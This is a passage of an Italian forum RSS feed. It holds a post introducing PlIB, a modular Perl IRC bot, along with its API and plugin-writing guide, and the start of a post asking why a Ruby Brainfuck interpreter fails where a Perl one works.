Ma passiamo alle sue funzioni.<br />
- new ~ il costruttore. Nota che la connessione sarà inizializzata in seguito grazie ad un'altra funzione, non con il costruttore. Parametri:<br />
-- sockaddr (l'indirizzo a cui connettersi)<br />
-- sockport (la porta)<br />
-- isSSL (usare SSL o no?)<br />
-- mainHash (l'hash principale, ovvero l'istanza della classe 'main')<br />
~~~~~~~~~~~~~~~~~~~<br />
- startConnection ~ questa funzione avvierà la connessione. Si occuperà anche di notificare all'utente eventuali errori di moduli (come per esempio la mancata installazione del socket). Anche questa funzione è ad uso interno, ad opera della funzione 'startAll' della classe main.<br />
~~~~~~~~~~~~~~~~~~~<br />
- send ~ questa funzione serve per inviare un determinato comando al server. È possibile usarla da qualsiasi parte, tramite &#36;mainClass-&gt;{"socket"}-&gt;send ("xx"). Parametri:<br />
-- what (cosa inviare al socket? ATTENZIONE: NON OMETTERE IL &#92;N!)<br />
~~~~~~~~~~~~~~~~~~~<br />
- closeConnection ~ questa funzione invia il messaggio di QUIT al server, chiude il socket ed elimina la variabile. Parametri:<br />
-- quitMessage: il messaggio di quit.<br />
~~~~~~~~~~~~~~~~~~~<br />
- getSock ~ questa funzione restituisce il socket. Non serve a molto per un uso normale, ma potrebbe essere utile per altri scopi.<br />
<br />
Ma ora passiamo al modulo functions.<br />
Anche esso viene inizializzato automaticamente dalla classe principale, e viene reso accessibile grazie alla proprietà dell'hash functions.<br />
Ma passiamo alle sue funzioni.<br />
<br />
- new ~ il costruttore. Nessun parametro<br />
~~~~~~~~~~~~~~~~~~~<br />
- checkVars ~ questa funzione controlla se una variabile è definita o no. Ritorna 1 se tutte le variabili sono definite, 0 se viceversa. Parametri:<br />
-- &#36;variabile (una variabile),<br />
-- &#36;variabiledue (un'altra variabile),<br />
-- ecc. (questa funzione accetta infiniti parametri)<br />
~~~~~~~~~~~~~~~~~~~<br />
- hashJoin ~ questa funzione è molto utile, e funge come 'join' ma per gli hash. Funziona solo con gli hash references. Parametri:<br />
-- kvsep (il separatore tra chiave e valore. Per esempio, con =&gt; e con un hash del tipo '{ciao =&gt; "mondo"}', il risultato sarà ciao =&gt; mondo).<br />
-- valsep (il separatore tra un valore. Per esempio, con , come valsep e con =&gt; come kvsep, con un hash del tipo '{mondo =&gt; "bello", dicosulserio =&gt; "si"}', il risultato sarà: mondo =&gt; bello, dicosulserio =&gt; si)<br />
-- onlyVals (questa variabile puo' essere 0 o 1, indica se visualizzare solo i valori e non le chiavi)<br />
-- onlyKeys (questa variabile pou' essere 0 o 1, indica se visualizzare solo le chiavi e non i valori)<br />
-- hash (l'hash reference)<br />
~~~~~~~~~~~~~~~~~~~<br />
- preg_quote ~ questa funzione è basata sulla regex creata dal sito phpjs.org, e serve per fare l'escape di caratteri speciali riservati alle regex. Parametri:<br />
-- str (la stringa da escapare)<br />
~~~~~~~~~~~~~~~~~~~<br />
- matchServerNumeric ~ questa funzione serve per matchare il numeric di un server, ovvero una risposta numerica del server. Nota che questa funzione non mostrerà il valore restituito dal server, ma solo 0 o 1 a seconda del match. Parametri:<br />
-- rcnick (alias di regex compatible nick, ovvero il nick 'trattato' con preg_quote)<br />
-- rcserver (lo stesso di prima, ma con il server)<br />
-- numeric (numeric da matchare)<br />
-- onWhat (su cosa matchare; dev'essere una risposta del server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- trim ~ questa funzione serve per eliminare caratteri inutili da una stringa. Eliminerà gli &#92;n, i &#92;r, i &#92;r&#92;n e gli &#92;s dall'inizio e dalla fine di una stringa. Utile per usare risposte del server.<br />
-- str (stringa da 'trimmare')<br />
<br />
Finalmente siamo giunti alla fine delle classi principali. Prima di introdurre i moduli, questo è l'usage del bot:<br />
use Plib::main;<br />
my &#36;plib = Plib::main-&gt;new ("nick", "ident", "real", "idpass", op, debug, ssl, "server, "port");<br />
&#36;plib-&gt;setChans ("#canale1", "#canale2", "#canale3:chiave");<br />
&#36;plib-&gt;hook_modules ("modulo1", "modulo2");<br />
&#36;plib-&gt;startAll;<br />
Dettagli sui vari parametri li trovate all'inizio.<br />
<br />
Ed ora passiamo ai moduli. Un modulo è uno script Perl usato per aggiungere funzionalità al bot. Il modulo deve essere nella cartella "Plib/modules/" ed estensione "pm" (perl module).<br />
Creare un modulo è molto semplice. Un esempio è il modulo predefinito "firstplugin".<br />
Ma vediamo come farne uno da 0! :)<br />
Innanzitutto, aggiungiamo il solito "#!/usr/bin/perl" (o il proprio path a Perl) nella prima riga del file.<br />
Poi, aggiungiamo sotto questo:<br />
package Plib::modules::nomemodulo;<br />
In pratica questa riga serve per dire a Perl che questo è un modulo che fa parte di "Plib::modules". Il "nomemodulo" deve avere lo stesso nome del file del modulo, e non deve avere spazi.<br />
Sotto alla linea package, è possibile includere qualsiasi altro modulo Perl, a seconda delle proprie esigenze (come per esempio IO::Socket, per dirne una).<br />
Passiamo ora a crare la funzione costruttrice: new.<br />
Innanzitutto, se non dobbiamo far configurare nulla all'utente in questo plugin, possiamo tranquillamente fare:<br />
sub new { return &#36;_[0&#93;; }<br />
Ovvero, quando verrà chiamato il main, verrà restituita l'istanza della classe con le sole funzioni, e nessuna variabile.<br />
Se invece dobbiamo far configurare qualcosa all'utente, semplicemente facciamo una cosa del genere:<br />
sub new {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;opzione = "giallo";<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;coloremutande = "verde";<br />
&nbsp;&nbsp;&nbsp;&nbsp;## FINE CONFIGURAZIONE !! ##<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;options = { "opzione" =&gt; &#36;opzione, "coloremutande" =&gt; &#36;coloremutande };<br />
&nbsp;&nbsp;&nbsp;&nbsp;bless &#36;options, &#36;_[0&#93;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return &#36;options;<br />
}<br />
<br />
Questo snippet sembra complesso, ma in realta' e' molto semplice. Innanzitutto come potrete notare le opzioni sono nella funzione stessa, precedute da "my" e con il valore tra virgolette.<br />
Una volta finita la configurazione, creiamo una hash reference con le chiavi pari a quelle del nome delle variabili, e il valore con quello delle variabili. Ovviamente è possibile specificare anche nomi diversi delle chiavi. Una volta fatto, lanciamo la funzione "bless" con due argomenti. Questa funzione serve per rendere un oggetto parte del package. Quindi, in questo caso, si rende l'hash "options" parte del package "nomemodulo". Infatti, &#36;_[0&#93; significa "il primo parametro", ovvero il nome del package. Per finire, ritorniamo il nuovo &#36;options, che equivale a ritornare l'istanza della classe.<br />
<br />
Adesso passiamo a definire le funzioni che saranno usate da PlIB: atInit e atWhile.<br />
atInit è la funzione che viene richiamata quando il server invia il messaggio di fine motd / motd non presente, e dopo il join/identify. Quindi per esempio, con questa funzione è possibile stampare un hello world su tutti i canali. I parametri che vengono passati sono "isTest" e "botClass". isTest è una variabile che viene passata per fare un test, ovvero per verificare se la funzione esiste e si esegue correttamente o no. Dopo vedremo cosa farcene. Poi viene passato "botClass", ovvero la classe principale del bot.<br />
Ecco un semplice esempio che stampa un "Hello world!" su tutti i chan joinati.<br />
sub atInit {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;self, &#36;isTest, &#36;botClass) = @_; # Da notare che come primo parametro viene passato 'self', ovvero l'istanza della classe principale (nomeplugin in questo caso)<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 1 if &#36;isTest; # Se e' un test, ritorniamo uno. Possiamo ritornare anche 0, 5, 324535 o quello che vogliamo. In questo modo fermiamo l'esecuzione della funzione.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;botClass-&gt;sendMsg (&#36;botClass-&gt;getAllChannels (",", 0), "Hello world!"); # La funzione vera e propria, che invia un messaggio a tutti i chan separati da una virgola con il contenuto "Hello world!". Semplice, vero? :P<br />
}<br />
Ecco qui la funzione, ampliamente commentata.<br />
Adesso passiamo all'ultimo argomento di questa guida, ovvero la funzione 'atWhile', che viene eseguita ogni volta che il server invia qualcosa.<br />
I parametri che vengono passati sono isTest (che abbiamo già visto prima), botClass (la classe principale, ovvero main), sent (cosa ha inviato il server), nick (il nick dell'utente, se presente, che ha fatto un azione), ident (l'ident dell'utente, sempre se presente), host (l'hostmask dell'utente, se presente ovviamente).<br />
Vediamo un esempio che registra il comando "!ciao" che outputta "Ciao mondo!"..<br />
sub atWhile {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;self, &#36;isTest, &#36;botClass, &#36;sent, &#36;nick, &#36;ident, &#36;host) = @_;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 1 if &#36;isTest;<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;info; # Comincio a registrare questa variabile che conterra' l'hashref ritornato da matchMsg (i dettagli stanno all'inizio!)<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;nick and &#36;ident and &#36;host and &#36;info = &#36;botClass-&gt;matchMsg (&#36;sent) and &#36;info-&gt;{"message"} =~ /^!ciao/i) { # Niente paura! Non è niente di difficile. Innanzitutto controlliamo se &#36;nick, &#36;ident e &#36;host sono dichiarati. Poi controlliamo se quello che è stato inviato è un messaggio, in caso positivo assegnamo l'hashref generato da matchMsg. Infine controlliamo se il message matcha !ciao. Il ^ iniziale è per evitare che matchi anche frasi come ciao, hai visto il comando !ciao ?, mentre il /i finale serve per rendere case insensitive, ovvero per farlo funzionare sia con !cIao sia con !CiAo sia con qualsiasi altra cosa.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;botClass-&gt;sendMsg (&#36;info-&gt;{"chan"}, "Ciao mondo!"); # Inviamo il messaggio al chan dove è stato inviato il messaggio principale<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
1;<br />
Da notare l'uno finale, mi raccomando di inserirlo sempre, altrimenti il vostro plugin darà un errore!<br />
<br />
Questo è tutto. In fondo, non è così complicato, o sbaglio? Buon divertimento, con la vostra copia di PlIB!<br />
<br />
Robertof.<br />
robertof [at&#93; anche {Dot} no</code></div></div>
Enjoy <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" />]]></description>
			<content:encoded><![CDATA[Salve a tutti! <img src="http://www.infernet.ws//images/smilies/set1/phonmg.gif" style="vertical-align: middle;" border="0" alt="Phonmg" title="Phonmg" /><br />
Sono qui per presentarvi la mia ultima creazione, PlIB..<br />
Cosa è PlIB? PlIB (Pi elle i bi) è un <span style="font-weight: bold;">ircbot modulare</span> scritto in <span style="font-style: italic;">Perl</span>, rfc-compliant e con supporto ad SSL.<br />
<br />
Resta a voi scoprirlo completamente.. questo è un esempio di usage:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
<br />
###############################################################<br />
# @name..................................................plib #<br />
# @realname.......................................PerL IrcBot #<br />
# @author............................................Robertof #<br />
# @mail.....................................robertof@anche.no #<br />
# @licence..........................................GNU/GPL 3 #<br />
# @lang..................................................Perl #<br />
# @requirements...IO::Socket::INET or IO::Socket::SSL for SSL #<br />
# @isthisfinished.........................................yes #<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enjoy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
###############################################################<br />
<br />
use strict;<br />
use warnings;<br />
use Plib::main;<br />
# Usage: new (nick, user, real, idpass, isop, debug, usessl, server, port)<br />
# !! WARNING !! Use class-&gt;setChans (chan1:key, chan2:key, chan3, chan4, ecc.) to add chans to join !!<br />
my &#36;plib = Plib::main-&gt;new ("Plib", "plib", "PerL IrcBot", "", 0, 1, 1, "irc.unitx.net", 6697);<br />
&#36;plib-&gt;setChans ("#Unit-X");<br />
### ↓↓↓↓↓ OPTIONAL MODULES ↓↓↓↓↓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ###<br />
#&nbsp;&nbsp; Usage: &#36;mainclass-&gt;hook_modules (module1, module2, module3 ecc.) ###<br />
&#36;plib-&gt;hook_modules ("firstplugin", "dml", "autorejoin");<br />
#<br />
&#36;plib-&gt;startAll;</code></div></div>
Download: <a href="http://github.com/Robertof/PlIB/tarball/master" target="_blank">http://github.com/Robertof/PlIB/tarball/master</a> (tar.gz)<br />
Github: <a href="http://github.com/Robertof/PlIB" target="_blank">http://github.com/Robertof/PlIB</a><br />
Sono inclusi alcuni moduli predefiniti, come l'autorejoin, il dynamic plugin loader (mi raccomando di impostarlo!), il plugin per UnitX ecc.<br />
Infine, ho appena finito di scrivere una megaguida per chi volesse approfondire PlIB, con annessa guida per la creazione di moduli.<br />
Eccola qui:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>PlIB -- HowTo<br />
<br />
Italian:<br />
Ciao mondo!<br />
PlIB è un ircbot modulare, rfc compliant con numerose features. Una di queste è, ad esempio, il supporto ad SSL :)<br />
Ma resta a voi scoprirle tutte, con questo grande manuale!<br />
<br />
Cominciamo a spiegare come è composto PlIB.<br />
PlIB è formato da 3 moduli principali: main, sockutil e functions.<br />
Il primo, main, è il modulo principale.<br />
Le sue funzioni sono:<br />
- new ~ il costruttore. Parametri:<br />
-- nickname, username, realname<br />
-- idpass (identify pass)<br />
-- isOp (il bot sarà operatore nei canali? NB: questa funzione non serve a nulla nelle classi predefinite del bot, ma potrebbe servire ad un eventuale plugin)<br />
-- debug (il bot deve abilitare il debug? Con il debug avrete alcuni messaggi speciali, e sarà visualizzato ciò che il server invia)<br />
-- usessl (il bot dovrà usare SSL? Attenzione, è necessario il modulo IO::Socket::SSL per l'SSL!)<br />
-- server (a quale server il bot dovrà connettersi?)<br />
-- port (che porta?)<br />
~~~~~~~~~~~~~~~~~~~<br />
- setChans ~ questa funzione serve per impostare i chans del bot. Attenzione: è obbligatorio usare questa funzione prima di avviare il bot con startAll! Parametri:<br />
-- canale1 (canale)<br />
-- canale2:chiave (un canale con annessa chiave)<br />
-- canale3 (un altro canale senza chiave)<br />
-- ecc. (si possono aggiungere infiniti canali)<br />
~~~~~~~~~~~~~~~~~~~<br />
- isDebug ~ funzione interna - restituisce 1 o 0 in base all'opzione "debug" inserita nel costruttore.<br />
~~~~~~~~~~~~~~~~~~~<br />
- hook_modules ~ questa funzione serve per "hookare" un modulo. Un modulo può contenere qualsiasi cosa, dalla possibilità di ricercare da un motore di ricerca alla possibilità di implementare persino un'intelligenza artificiale (sì, ok, giusto per dire!). Parametri:<br />
-- modulo1<br />
-- modulo2<br />
-- ecc. (si possono aggiungere infiniti moduli, nei limiti della memoria ovviamente!)<br />
~~~~~~~~~~~~~~~~~~~<br />
- getAllChannels ~ questa funzione ritorna la lista dei canali joinati [quelli specificati con setChans], con un separatore a scelta. Parametri:<br />
-- chanSeparator (il separatore per ciascun chan, per esempio ',' produrra' #ciao,#mondo,#bello ecc.)<br />
-- withKey (nel risultato sarà restituita anche la key?)<br />
-- keySeparator (se è stato specificato withKey, questo sarà il separatore della chiave del canale. Per esempio, se inserisco ':', produrrà: #ciao:bello,#mondo:0,#bello:cavolo; ATTENZIONE allo 0 finale, che viene inserito quando un canale non ha la chiave!<br />
~~~~~~~~~~~~~~~~~~~<br />
- sendMsg ~ questa funzione invia un messaggio, ma solo se è stato aperto il socket (quindi se è stata lanciata la funzione startAll) - Parametri:<br />
-- to (destinazione del messaggio, puo' essere anche un username)<br />
-- what (cosa deve inviare PlIB?)<br />
~~~~~~~~~~~~~~~~~~~<br />
- matchMsg ~ questa funzione matcha un messaggio, e ritorna un hash reference (ovvero da usare come &#36;x-&gt;{'elemento'}) formato da 3 elementi: userinfo (le informazioni dell'utente in formato :nick!ident@host, inutile se usato con un plugin, poiché alla funzione 'onWhile' del plugin vengono passate le variabili 'nick, 'ident' e 'host'), chan (il canale dove è stato inviato il messaggio), message (il messaggio). Parametri:<br />
-- onWhat (su cosa deve matchare il messaggio? Dev'essere una riga mandata dal server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- getUserData ~ questa funzione matcha le informazioni di un utente, in formato :nick!ident@host, e restituisce un hash reference formato da 3 elementi: nick (il nick dell'utente), ident (l'ident dell'utente), host (l'host dell'utente). Questa funzione è utile solo nel caso si abbiano delle informazioni non parsate automaticamente da PlIB (quindi non nel caso dell'onWhile dei plugin). Parametri:<br />
-- onWhat (su cosa deve matchare i dati dell'utente? Dev'essere una riga mandata dal server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- startAll ~ questa funzione apre il socket, ed avvia la ricezione dei dati da esso. Necessaria per far connettere il bot. Attenzione: avviare questa funzione solo DOPO aver hookato i plugin &amp; aver impostato i chan.<br />
<br />
Queste sono le funzioni del modulo principale. Ma ora passiamo a sockutil. Sockutil è il modulo che fornisce alcuni utili funzioni per il socket. È possibile accedere a questo modulo grazie al main, che metterà a disposizione nel mainhash l'attributo "socket", in modo da poterci accedere tramite &#36;mainClass-&gt;{"socket"}-&gt;funzioniSockUtil. NOTA: questa classe non dev'essere inizializzata dall'utente, ma dalla main di PlIB!! Verrà fatto automaticamente dal metodo 'startAll'. Rendo comunque disponibili i parametri della 'new' per chi fosse interessato in generale.<br />
Ma passiamo alle sue funzioni.<br />
- new ~ il costruttore. Nota che la connessione sarà inizializzata in seguito grazie ad un'altra funzione, non con il costruttore. Parametri:<br />
-- sockaddr (l'indirizzo a cui connettersi)<br />
-- sockport (la porta)<br />
-- isSSL (usare SSL o no?)<br />
-- mainHash (l'hash principale, ovvero l'istanza della classe 'main')<br />
~~~~~~~~~~~~~~~~~~~<br />
- startConnection ~ questa funzione avvierà la connessione. Si occuperà anche di notificare all'utente eventuali errori di moduli (come per esempio la mancata installazione del socket). Anche questa funzione è ad uso interno, ad opera della funzione 'startAll' della classe main.<br />
~~~~~~~~~~~~~~~~~~~<br />
- send ~ questa funzione serve per inviare un determinato comando al server. È possibile usarla da qualsiasi parte, tramite &#36;mainClass-&gt;{"socket"}-&gt;send ("xx"). Parametri:<br />
-- what (cosa inviare al socket? ATTENZIONE: NON OMETTERE IL &#92;N!)<br />
~~~~~~~~~~~~~~~~~~~<br />
- closeConnection ~ questa funzione invia il messaggio di QUIT al server, chiude il socket ed elimina la variabile. Parametri:<br />
-- quitMessage: il messaggio di quit.<br />
~~~~~~~~~~~~~~~~~~~<br />
- getSock ~ questa funzione restituisce il socket. Non serve a molto per un uso normale, ma potrebbe essere utile per altri scopi.<br />
<br />
Ma ora passiamo al modulo functions.<br />
Anche esso viene inizializzato automaticamente dalla classe principale, e viene reso accessibile grazie alla proprietà dell'hash functions.<br />
Ma passiamo alle sue funzioni.<br />
<br />
- new ~ il costruttore. Nessun parametro<br />
~~~~~~~~~~~~~~~~~~~<br />
- checkVars ~ questa funzione controlla se una variabile è definita o no. Ritorna 1 se tutte le variabili sono definite, 0 se viceversa. Parametri:<br />
-- &#36;variabile (una variabile),<br />
-- &#36;variabiledue (un'altra variabile),<br />
-- ecc. (questa funzione accetta infiniti parametri)<br />
~~~~~~~~~~~~~~~~~~~<br />
- hashJoin ~ questa funzione è molto utile, e funge come 'join' ma per gli hash. Funziona solo con gli hash references. Parametri:<br />
-- kvsep (il separatore tra chiave e valore. Per esempio, con =&gt; e con un hash del tipo '{ciao =&gt; "mondo"}', il risultato sarà ciao =&gt; mondo).<br />
-- valsep (il separatore tra un valore. Per esempio, con , come valsep e con =&gt; come kvsep, con un hash del tipo '{mondo =&gt; "bello", dicosulserio =&gt; "si"}', il risultato sarà: mondo =&gt; bello, dicosulserio =&gt; si)<br />
-- onlyVals (questa variabile puo' essere 0 o 1, indica se visualizzare solo i valori e non le chiavi)<br />
-- onlyKeys (questa variabile pou' essere 0 o 1, indica se visualizzare solo le chiavi e non i valori)<br />
-- hash (l'hash reference)<br />
~~~~~~~~~~~~~~~~~~~<br />
- preg_quote ~ questa funzione è basata sulla regex creata dal sito phpjs.org, e serve per fare l'escape di caratteri speciali riservati alle regex. Parametri:<br />
-- str (la stringa da escapare)<br />
~~~~~~~~~~~~~~~~~~~<br />
- matchServerNumeric ~ questa funzione serve per matchare il numeric di un server, ovvero una risposta numerica del server. Nota che questa funzione non mostrerà il valore restituito dal server, ma solo 0 o 1 a seconda del match. Parametri:<br />
-- rcnick (alias di regex compatible nick, ovvero il nick 'trattato' con preg_quote)<br />
-- rcserver (lo stesso di prima, ma con il server)<br />
-- numeric (numeric da matchare)<br />
-- onWhat (su cosa matchare; dev'essere una risposta del server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- trim ~ questa funzione serve per eliminare caratteri inutili da una stringa. Eliminerà gli &#92;n, i &#92;r, i &#92;r&#92;n e gli &#92;s dall'inizio e dalla fine di una stringa. Utile per usare risposte del server.<br />
-- str (stringa da 'trimmare')<br />
<br />
Finalmente siamo giunti alla fine delle classi principali. Prima di introdurre i moduli, questo è l'usage del bot:<br />
use Plib::main;<br />
my &#36;plib = Plib::main-&gt;new ("nick", "ident", "real", "idpass", op, debug, ssl, "server, "port");<br />
&#36;plib-&gt;setChans ("#canale1", "#canale2", "#canale3:chiave");<br />
&#36;plib-&gt;hook_modules ("modulo1", "modulo2");<br />
&#36;plib-&gt;startAll;<br />
Dettagli sui vari parametri li trovate all'inizio.<br />
<br />
Ed ora passiamo ai moduli. Un modulo è uno script Perl usato per aggiungere funzionalità al bot. Il modulo deve essere nella cartella "Plib/modules/" ed estensione "pm" (perl module).<br />
Creare un modulo è molto semplice. Un esempio è il modulo predefinito "firstplugin".<br />
Ma vediamo come farne uno da 0! :)<br />
Innanzitutto, aggiungiamo il solito "#!/usr/bin/perl" (o il proprio path a Perl) nella prima riga del file.<br />
Poi, aggiungiamo sotto questo:<br />
package Plib::modules::nomemodulo;<br />
In pratica questa riga serve per dire a Perl che questo è un modulo che fa parte di "Plib::modules". Il "nomemodulo" deve avere lo stesso nome del file del modulo, e non deve avere spazi.<br />
Sotto alla linea package, è possibile includere qualsiasi altro modulo Perl, a seconda delle proprie esigenze (come per esempio IO::Socket, per dirne una).<br />
Passiamo ora a crare la funzione costruttrice: new.<br />
Innanzitutto, se non dobbiamo far configurare nulla all'utente in questo plugin, possiamo tranquillamente fare:<br />
sub new { return &#36;_[0]; }<br />
Ovvero, quando verrà chiamato il main, verrà restituita l'istanza della classe con le sole funzioni, e nessuna variabile.<br />
Se invece dobbiamo far configurare qualcosa all'utente, semplicemente facciamo una cosa del genere:<br />
sub new {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;opzione = "giallo";<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;coloremutande = "verde";<br />
&nbsp;&nbsp;&nbsp;&nbsp;## FINE CONFIGURAZIONE !! ##<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;options = { "opzione" =&gt; &#36;opzione, "coloremutande" =&gt; &#36;coloremutande };<br />
&nbsp;&nbsp;&nbsp;&nbsp;bless &#36;options, &#36;_[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;return &#36;options;<br />
}<br />
<br />
Questo snippet sembra complesso, ma in realta' e' molto semplice. Innanzitutto come potrete notare le opzioni sono nella funzione stessa, precedute da "my" e con il valore tra virgolette.<br />
Una volta finita la configurazione, creiamo una hash reference con le chiavi pari a quelle del nome delle variabili, e il valore con quello delle variabili. Ovviamente è possibile specificare anche nomi diversi delle chiavi. Una volta fatto, lanciamo la funzione "bless" con due argomenti. Questa funzione serve per rendere un oggetto parte del package. Quindi, in questo caso, si rende l'hash "options" parte del package "nomemodulo". Infatti, &#36;_[0] significa "il primo parametro", ovvero il nome del package. Per finire, ritorniamo il nuovo &#36;options, che equivale a ritornare l'istanza della classe.<br />
<br />
Adesso passiamo a definire le funzioni che saranno usate da PlIB: atInit e atWhile.<br />
atInit è la funzione che viene richiamata quando il server invia il messaggio di fine motd / motd non presente, e dopo il join/identify. Quindi per esempio, con questa funzione è possibile stampare un hello world su tutti i canali. I parametri che vengono passati sono "isTest" e "botClass". isTest è una variabile che viene passata per fare un test, ovvero per verificare se la funzione esiste e si esegue correttamente o no. Dopo vedremo cosa farcene. Poi viene passato "botClass", ovvero la classe principale del bot.<br />
Ecco un semplice esempio che stampa un "Hello world!" su tutti i chan joinati.<br />
sub atInit {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;self, &#36;isTest, &#36;botClass) = @_; # Da notare che come primo parametro viene passato 'self', ovvero l'istanza della classe principale (nomeplugin in questo caso)<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 1 if &#36;isTest; # Se e' un test, ritorniamo uno. Possiamo ritornare anche 0, 5, 324535 o quello che vogliamo. In questo modo fermiamo l'esecuzione della funzione.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;botClass-&gt;sendMsg (&#36;botClass-&gt;getAllChannels (",", 0), "Hello world!"); # La funzione vera e propria, che invia un messaggio a tutti i chan separati da una virgola con il contenuto "Hello world!". Semplice, vero? :P<br />
}<br />
Ecco qui la funzione, ampliamente commentata.<br />
Adesso passiamo all'ultimo argomento di questa guida, ovvero la funzione 'atWhile', che viene eseguita ogni volta che il server invia qualcosa.<br />
I parametri che vengono passati sono isTest (che abbiamo già visto prima), botClass (la classe principale, ovvero main), sent (cosa ha inviato il server), nick (il nick dell'utente, se presente, che ha fatto un azione), ident (l'ident dell'utente, sempre se presente), host (l'hostmask dell'utente, se presente ovviamente).<br />
Vediamo un esempio che registra il comando "!ciao" che outputta "Ciao mondo!"..<br />
sub atWhile {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;self, &#36;isTest, &#36;botClass, &#36;sent, &#36;nick, &#36;ident, &#36;host) = @_;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 1 if &#36;isTest;<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;info; # Comincio a registrare questa variabile che conterra' l'hashref ritornato da matchMsg (i dettagli stanno all'inizio!)<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;nick and &#36;ident and &#36;host and &#36;info = &#36;botClass-&gt;matchMsg (&#36;sent) and &#36;info-&gt;{"message"} =~ /^!ciao/i) { # Niente paura! Non è niente di difficile. Innanzitutto controlliamo se &#36;nick, &#36;ident e &#36;host sono dichiarati. Poi controlliamo se quello che è stato inviato è un messaggio, in caso positivo assegnamo l'hashref generato da matchMsg. Infine controlliamo se il message matcha !ciao. Il ^ iniziale è per evitare che matchi anche frasi come ciao, hai visto il comando !ciao ?, mentre il /i finale serve per rendere case insensitive, ovvero per farlo funzionare sia con !cIao sia con !CiAo sia con qualsiasi altra cosa.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;botClass-&gt;sendMsg (&#36;info-&gt;{"chan"}, "Ciao mondo!"); # Inviamo il messaggio al chan dove è stato inviato il messaggio principale<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
1;<br />
Da notare l'uno finale, mi raccomando di inserirlo sempre, altrimenti il vostro plugin darà un errore!<br />
<br />
Questo è tutto. In fondo, non è così complicato, o sbaglio? Buon divertimento, con la vostra copia di PlIB!<br />
<br />
Robertof.<br />
robertof [at] anche {Dot} no</code></div></div>
Enjoy <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Ruby&#93; Brainfuck interpreter.]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17115</link>
			<pubDate>Fri, 16 Jul 2010 23:02:22 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17115</guid>
			<description><![CDATA[Buongiorno, ogni tanto posto anche qui.<br />
<br />
Vabbe' che su Google se ne trovano a non finire, pero' mi incuriosisce il fatto che, nonostante i due script siano quasi identici (se non per alcune modifiche per via di Ruby), le esecuzioni producono risultati differenti.<br />
<br />
Questo e' lo script Perl: <a href="http://sprunge.us/jJjU" target="_blank">http://sprunge.us/jJjU</a><br />
Questo e' lo script Ruby: <a href="http://sprunge.us/XFcB" target="_blank">http://sprunge.us/XFcB</a><br />
<br />
Lo script Perl funziona che e' una meraviglia (<a href="http://sprunge.us/eYRc" target="_blank">codice Brainfuck</a>):<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>sh&#36; perl main.pl source<br />
Hello World!</code></div></div>
<br />
Lo script Ruby fa cagare che e' una meraviglia:<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>sh&#36; ruby main.rb source<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</code></div></div>
<br />
Molto probabilmente e' una cazzata, ma sono alle prime armi con Ruby...<br />
<br />
Grazie in anticipo. ^_^]]></description>
			<content:encoded><![CDATA[Buongiorno, ogni tanto posto anche qui.<br />
<br />
